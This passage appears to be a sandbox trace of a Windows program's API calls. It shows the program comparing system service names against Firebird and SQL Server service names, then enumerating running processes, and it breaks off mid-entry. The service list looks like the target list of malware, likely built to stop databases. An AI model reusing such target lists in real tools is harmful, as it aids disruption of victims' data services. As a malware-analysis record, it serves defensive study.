[0300.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0300.742] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0300.742] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0300.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0300.742] lstrlenW (lpString="EventSystem") returned 11 [0300.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0300.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0300.742] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0300.742] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0300.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0300.743] lstrlenW (lpString="FontCache") returned 9 [0300.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0300.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0300.743] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0300.743] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0300.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0300.743] lstrlenW (lpString="gpsvc") returned 5 [0300.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0300.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0300.743] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0300.743] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0300.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0300.743] lstrlenW (lpString="iphlpsvc") returned 8 [0300.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0300.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0300.743] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0300.743] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0300.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0300.743] lstrlenW (lpString="KeyIso") returned 6 [0300.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0300.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0300.743] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0300.743] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0300.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0300.743] lstrlenW (lpString="LanmanServer") returned 12 [0300.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0300.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0300.743] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0300.743] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0300.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0300.744] lstrlenW (lpString="LanmanWorkstation") returned 17 [0300.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0300.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0300.744] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0300.744] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0300.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0300.744] lstrlenW (lpString="lfsvc") returned 5 [0300.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0300.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0300.744] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0300.744] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0300.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0300.744] lstrlenW (lpString="lmhosts") returned 7 [0300.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0300.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0300.744] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0300.744] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0300.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0300.744] lstrlenW (lpString="LSM") returned 3 [0300.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0300.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0300.744] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0300.744] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0300.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0300.744] lstrlenW (lpString="MapsBroker") returned 10 [0300.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0300.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0300.744] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0300.744] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0300.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0300.745] lstrlenW (lpString="MpsSvc") returned 6 [0300.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0300.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0300.745] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0300.745] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0300.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0300.745] lstrlenW (lpString="NcbService") returned 10 [0300.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0300.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0300.745] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0300.745] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0300.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0300.745] lstrlenW (lpString="netprofm") returned 8 [0300.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0300.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0300.745] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0300.745] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0300.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0300.745] lstrlenW (lpString="NgcSvc") returned 6 [0300.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0300.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0300.745] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0300.745] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0300.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0300.745] lstrlenW (lpString="NlaSvc") returned 6 [0300.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0300.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0300.745] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0300.746] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0300.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0300.746] lstrlenW (lpString="nsi") returned 3 [0300.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0300.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0300.746] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0300.810] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0300.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0300.810] lstrlenW (lpString="PcaSvc") returned 6 [0300.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0300.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0300.810] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0300.810] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0300.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0300.810] lstrlenW (lpString="PlugPlay") returned 8 [0300.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0300.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0300.811] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0300.811] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0300.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0300.811] lstrlenW (lpString="Power") returned 5 [0300.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0300.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0300.811] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0300.811] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0300.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0300.811] lstrlenW (lpString="ProfSvc") returned 7 [0300.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0300.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0300.811] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0300.811] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0300.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0300.811] lstrlenW (lpString="RpcEptMapper") returned 12 [0300.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0300.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0300.811] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0300.811] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0300.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0300.811] lstrlenW (lpString="RpcSs") returned 5 [0300.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0300.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0300.811] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0300.811] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0300.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0300.811] lstrlenW (lpString="SamSs") returned 5 [0300.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0300.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0300.811] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0300.811] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0300.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0300.812] lstrlenW (lpString="Schedule") returned 8 [0300.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0300.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0300.812] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0300.812] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0300.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0300.812] lstrlenW (lpString="SecurityHealthService") returned 21 [0300.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0300.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0300.812] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0300.812] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0300.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0300.812] lstrlenW (lpString="SENS") returned 4 [0300.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0300.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0300.812] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0300.812] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0300.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0300.812] lstrlenW (lpString="ShellHWDetection") returned 16 [0300.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0300.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0300.812] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0300.812] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0300.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0300.812] lstrlenW (lpString="Spooler") returned 7 [0300.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0300.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0300.812] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0300.812] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0300.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0300.812] lstrlenW (lpString="SSDPSRV") returned 7 [0300.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0300.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0300.813] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0300.813] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0300.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0300.813] lstrlenW (lpString="StateRepository") returned 15 [0300.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0300.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0300.813] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0300.813] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0300.813] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0300.813] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x370 [0300.817] Process32FirstW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0300.818] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x96, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0300.819] lstrlenW (lpString="System") returned 6 [0300.819] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0300.819] lstrlenW (lpString="smss.exe") returned 8 [0300.819] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0300.820] lstrlenW (lpString="csrss.exe") returned 9 [0300.820] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0300.821] lstrlenW (lpString="wininit.exe") returned 11 [0300.821] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0300.821] lstrlenW (lpString="csrss.exe") returned 9 [0300.821] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0300.822] lstrlenW (lpString="winlogon.exe") returned 12 [0300.822] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0300.823] lstrlenW (lpString="services.exe") returned 12 [0300.823] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0300.824] lstrlenW (lpString="lsass.exe") returned 9 [0300.824] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0300.824] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0300.824] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0300.825] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0300.825] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.826] lstrlenW (lpString="svchost.exe") returned 11 [0300.826] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.827] lstrlenW (lpString="svchost.exe") returned 11 [0300.827] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0300.827] lstrlenW (lpString="dwm.exe") returned 7 [0300.827] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.828] lstrlenW (lpString="svchost.exe") returned 11 [0300.828] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.829] lstrlenW (lpString="svchost.exe") returned 11 [0300.829] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.829] lstrlenW (lpString="svchost.exe") returned 11 [0300.829] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.830] lstrlenW (lpString="svchost.exe") returned 11 [0300.830] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.831] lstrlenW (lpString="svchost.exe") returned 11 [0300.831] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.832] lstrlenW (lpString="svchost.exe") returned 11 [0300.832] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.832] lstrlenW (lpString="svchost.exe") returned 11 [0300.832] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.833] lstrlenW (lpString="svchost.exe") returned 11 [0300.833] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.834] lstrlenW (lpString="svchost.exe") returned 11 [0300.834] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.834] lstrlenW (lpString="svchost.exe") returned 11 [0300.834] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0300.835] lstrlenW (lpString="spoolsv.exe") returned 11 [0300.835] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0300.836] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0300.836] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0300.837] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0300.837] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0300.837] lstrlenW (lpString="Memory Compression") returned 18 [0300.837] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.838] lstrlenW (lpString="svchost.exe") returned 11 [0300.838] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0300.839] lstrlenW (lpString="audiodg.exe") returned 11 [0300.839] Process32NextW (in: hSnapshot=0x370, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0300.839] lstrlenW (lpString="sihost.exe") returned 10 [0300.839] Process32NextW (in: 